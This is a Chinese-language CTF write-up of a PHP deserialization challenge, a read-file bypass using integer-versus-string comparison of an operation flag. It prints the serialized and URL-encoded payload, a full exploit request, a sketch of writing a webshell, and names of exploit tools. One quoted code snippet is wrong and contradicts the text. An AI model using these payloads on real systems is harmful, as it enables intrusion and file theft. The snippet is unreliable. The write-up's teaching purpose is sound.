1. 漏洞环境与代码结构解析
这道来自网鼎杯2020青龙组的题目,展示了一个经典的PHP反序列化漏洞利用场景。我们先从整体代码结构入手,理解其运作机制。
1.1 核心类FileHandler分析
FileHandler类封装了文件读写操作,包含三个关键protected属性:
$op:操作类型标识(1=写入,2=读取)$filename:操作文件路径$content:写入内容
类中定义了以下关键方法:
process():操作分发器,根据$op值调用读写方法write():将$content写入$filenameread():读取$filename内容__destruct():析构时自动执行的清理逻辑
注意:protected属性在常规调用中无法直接修改,但反序列化时可以突破此限制,这是漏洞利用的基础。
1.2 漏洞触发流程
整个漏洞利用链的完整执行路径如下:
- 通过
$_GET['str']传入恶意序列化字符串 unserialize()还原为FileHandler对象- 脚本结束时自动调用
__destruct() - 析构方法中调用
process() process()根据$op值执行read()read()通过file_get_contents()读取指定文件- 结果通过
output()回显到页面
2. 漏洞原理深度剖析
2.1 类型比较差异导致的绕过
漏洞的核心在于__destruct()与process()方法中对$op的不同比较方式:
php复制// 析构方法中使用严格比较(===)
if($this->op === "2") // 要求类型和值都相等
$this->op = "1";
// process方法中使用松散比较(==)
if($this->op == "2") // 仅要求值相等
$this->write();
当我们将$op设置为整数2时:
2 === "2"→ false(类型不同)2 == "2"→ true(值相同)
这种比较差异使得我们可以绕过析构方法中的重置操作,同时又能触发读取逻辑。
2.2 反序列化入口控制
漏洞触发的前提是能够控制反序列化内容。代码中通过以下条件控制入口:
php复制if(isset($_GET['str'])) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
其中is_valid()函数检查字符串是否全部由可打印ASCII字符(32-125)组成。这意味着我们的payload不能包含空字节等特殊字符,但常规的序列化字符串完全符合要求。
3. 漏洞利用实战步骤
3.1 构造恶意对象
我们需要创建一个FileHandler对象,并设置特定属性值:
php复制class FileHandler {
public $op = 2; // 必须为整数2
public $filename = "flag.php";
public $content = "";
}
关键点说明:
$op必须设为整数2(不加引号),这是绕过比较检查的核心$filename设置为目标文件路径(根据题目提示为flag.php)$content可留空,因为读取操作不需要此参数
3.2 生成序列化payload
使用PHP的serialize()函数生成序列化字符串:
php复制$evil = new FileHandler();
$evil->op = 2;
$evil->filename = "flag.php";
$evil->content = "";
$payload = serialize($evil);
// 输出:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
3.3 URL编码处理
由于序列化字符串包含特殊字符,需要进行URL编码:
php复制$final_payload = urlencode($payload);
// 输出:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D
3.4 发送payload获取flag
最终通过GET请求发送payload:
code复制http://target.com/?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A0%3A%22%22%3B%7D
成功利用后,页面会输出flag.php的内容,通常需要查看网页源代码才能看到完整flag。
4. 技术细节与避坑指南
4.1 属性可见性处理
原类中属性定义为protected,但在构造payload时需要改为public。这是因为:
- PHP序列化时会记录属性可见性
- protected属性在序列化格式中会有特殊前缀(%00*%00)
- 这些不可见字符会导致is_valid()检查失败
解决方案:
- 在payload生成代码中将所有属性定义为public
- 或者手动构造序列化字符串时处理protected标识
4.2 常见错误排查
-
payload执行后无输出:
- 检查filename路径是否正确
- 确认目标文件有可读权限
- 验证web服务是否正常运行
-
收到"Bad Hacker!"响应:
- 确认$op值为整数2(i:2)
- 检查序列化字符串格式是否正确
- 确保没有触发其他条件判断
-
字符编码问题:
- 确保payload经过完整URL编码
- 避免使用可能被web服务器过滤的特殊字符
4.3 防御建议
对于开发者而言,避免此类漏洞的建议:
- 避免使用反序列化操作,或使用JSON等更安全的格式
- 保持比较操作的一致性(全部使用严格比较===)
- 对反序列化操作实施白名单控制
- 对文件操作实施路径检查和权限控制
5. 漏洞利用的变体思考
5.1 写入webshell的可能性
虽然本题主要利用读操作,但理论上也可以利用写操作:
- 设置
$op = 1 - 提供恶意的
$filename和$content - 写入webshell实现远程控制
但本题有以下限制:
$content长度限制为100字节- 需要知道可写目录路径
- 需要绕过可能的其他安全检查
5.2 其他魔术方法的利用
除了__destruct(),还可以尝试利用其他魔术方法:
__wakeup():反序列化时自动调用__toString():对象被当作字符串使用时调用__call():调用不存在方法时触发
每种魔术方法都可能成为新的攻击面,需要根据具体代码逻辑分析。
6. 相关技术延伸学习
6.1 PHP反序列化漏洞家族
这类漏洞属于PHP反序列化漏洞家族,常见变体包括:
- 对象注入漏洞
- 属性控制漏洞
- 魔术方法滥用
- POP链构造
6.2 其他CTF中的常见考点
类似题目在CTF中常见考察点:
- 特殊字符绕过
- 哈希比较漏洞
- 正则表达式绕过
- 变量覆盖漏洞
6.3 自动化工具推荐
对于更复杂的反序列化漏洞,可以使用以下工具辅助:
- PHPGGC:针对常见PHP框架的漏洞利用生成器
- Rogue-MySql-Server:用于SSRF漏洞利用
- ysoserial:Java反序列化利用工具
在实际渗透测试中,这类漏洞往往需要结合其他技术手段,形成完整的攻击链。理解底层原理比单纯记忆payload更重要,这有助于在面对变种漏洞时快速找到突破点。